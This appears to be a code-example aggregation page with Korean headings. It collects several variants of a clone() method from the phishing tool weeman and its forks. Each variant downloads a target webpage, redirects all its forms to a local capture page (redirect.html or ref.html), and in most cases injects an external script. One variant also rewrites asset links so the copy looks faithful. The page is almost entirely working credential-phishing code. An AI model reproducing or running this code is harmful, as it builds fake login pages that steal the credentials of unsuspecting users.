예제 #1
0
    def clone(self):

        from core.main import html
        from core.main import exjs
        from core.main import files

        if not html:
            printf(1, "Try!Ng +o get %s ..."%self.url)
            printf(1,"Down10ading webpage......")
            data = self.request(self.url)

        else:
            printf(1, "Loading \'%s\' ..." %html)
            data = open(html, "r").read()

        data = bs(data, "html.parser")
        printf(1, "Modifying the HTML file ...")

        for tag in data.find_all("form"):
            tag['method'] = "post"
            tag['action'] = "redirect.html"

        for tag in data.find_all("a"):
            pass

        script = data.new_tag('script', src=exjs)
        data.html.head.insert(len(data.html.head), script)

        with open("index.html", "w") as index:
            index.write(data.prettify().encode('utf-8'))
            index.close()
예제 #2
0
파일: httpd.py 프로젝트: 601040605/weeman
    def clone(self):

        from core.shell import html_file
        from core.shell import external_js

        if not html_file:
            printt(3, "Trying to get %s  ..." %self.url)
            printt(3, "Downloadng webpage ...")
            data = self.request(self.url)
        else:
            printt(3, "Loading \'%s\' ..." %html_file)
            data = open(html_file, "r").read()

        data = bs(data, "html.parser")
        printt(3, "Modifying the HTML file ...")

        for tag in data.find_all("form"):
            tag['method'] = "post"
            tag['action'] = "redirect.html"

        # Replace path with full path with the URL
        for tag in data.find_all("a"):
            pass

        # Insert external script
        script = data.new_tag('script', src=external_js)
        data.html.head.insert(len(data.html.head), script)
        
        with open("index.html", "w") as index:
            index.write(data.prettify().encode('utf-8'))
            index.close()
예제 #3
0
파일: httpd.py 프로젝트: Xnuvers007/xansz
    def clone(self):

        from core.shell import html_file
        from core.shell import external_js

        if not html_file:
            printt(3, "[+] Trying to get %s  ..." % self.url)
            printt(3, "[+] Downloading webpage ...")
            data = self.request(self.url)
        else:
            printt(3, "Loading \'%s\' ..." % html_file)
            data = open(html_file, "r").read()

        data = bs(data, "html.parser")
        printt(3, "Modifying the HTML file ...")

        for tag in data.find_all("form"):
            tag['method'] = "post"
            tag['action'] = "redirect.html"

        # Replace path with full path with the URL
        for tag in data.find_all("a"):
            pass

        # Insert external script
        script = data.new_tag('script', src=external_js)
        data.html.head.insert(len(data.html.head), script)

        with open("index.html", "w") as index:
            index.write(data.prettify().encode('utf-8'))
            index.close()
예제 #4
0
    def clone(self):

        from core.shell import html_file
        from core.shell import external_js

        if not html_file:
            printt(3, "Tentando conseguir: %s  ..." % self.url)
            printt(3, "Fazendo Download da pagina ...")
            data = self.request(self.url)
        else:
            printt(3, "Carregando \'%s\' ..." % html_file)
            data = open(html_file, "r").read()

        data = bs(data, "html.parser")
        printt(3, "Modificando o arquivo HTML ...")

        for tag in data.find_all("form"):
            tag['method'] = "post"
            tag['action'] = "redirect.html"

        # Replace path with full path with the URL
        for tag in data.find_all("a"):
            pass

        # Insert external script
        script = data.new_tag('script', src=external_js)
        data.html.head.insert(len(data.html.head), script)

        with open("index.html", "w") as index:
            index.write(data.prettify().encode('utf-8'))
            index.close()
예제 #5
0
    def clone(self):
        from core.shell import html_file
        if not html_file:
            printt(3, "Trying to get %s  ..." %self.url)
            printt(3, "Downloadng webpage ...")
            data = self.request(self.url)
        else:
            printt(3, "Loading \'%s\' ..." %html_file)
            data = open(html_file, "r").read()
        # Data
        data = bs(data, "html.parser")    
        printt(3, "Modifying the HTML file ...")

        for tag in data.find_all("form"):
            tag['method'] = "post"
            tag['action'] = "ref.html"

        # Here we will attampt to load CSS/JS from the page
        # and replace ./ ../ / with the site URL.
        
        # Case the URL have more then one file
        try:
            uri = self.url.rsplit('/', 1)[0]
            urisp = uri.split("/")[2] 
        
            # <link
            for tag in data.find_all("link"):
                link = tag['href']
                if link.startswith("//"):
                    pass
                elif "://" in link:
                    pass
                elif "../" in link:
                    link = link.replace("../", "%s/" %uri)
                    tag['href'] = link
                elif link.startswith("/") and not urisp in link:
                    tag['href'] = "%s%s" %(uri, link);
                elif not link.startswith("/") and not urisp  in link:
                    tag['herf'] = "%s/%s" %(uri, link);
            # <img
            for tag in data.find_all("img"):
                link = tag['src']
                if link.startswith("//"):
                    pass
                elif "://" in link:
                    pass
                elif "../" in link:
                    link = link.replace("../", "%s/" %uri)
                    tag['src'] = link
                elif link.startswith("/") and not urisp  in link:
                    tag['src'] = "%s%s" %(uri, link);
                elif not link.startswith("/") and not urisp in link:
                    tag['src'] = "%s/%s" %(uri, link);
            # <a 
            for tag in data.find_all("a"):
                link = tag['href']
                if link.startswith("//"):
                    pass
                elif "://" in link:
                    pass
                elif "../" in link:
                    link = link.replace("../", "%s/" %uri)
                    tag['href'] = link
                elif link.startswith("/") and not urisp  in link:
                    tag['href'] = "%s%s" %(uri, link);
                elif not link.startswith("/") and not urisp in link:
                    tag['href'] = "%s/%s" %(uri, link);

        except IndexError:
            uri = self.url
            urisp = uri.replace("http://", "").replace("https://", "") 
        except Exception as e:
            printt(3, "Something happen: (%s) igonring ..." %str(e))

        with open("index.html", "w") as index:
            index.write(data.prettify().encode('utf-8'))
            index.close()
        printt(3, "the HTML page will redirect to ref.html ...")
예제 #6
0
 def __init__(self, contents):
     self.soup = bs(contents)
     self.form = self.soup.find('form')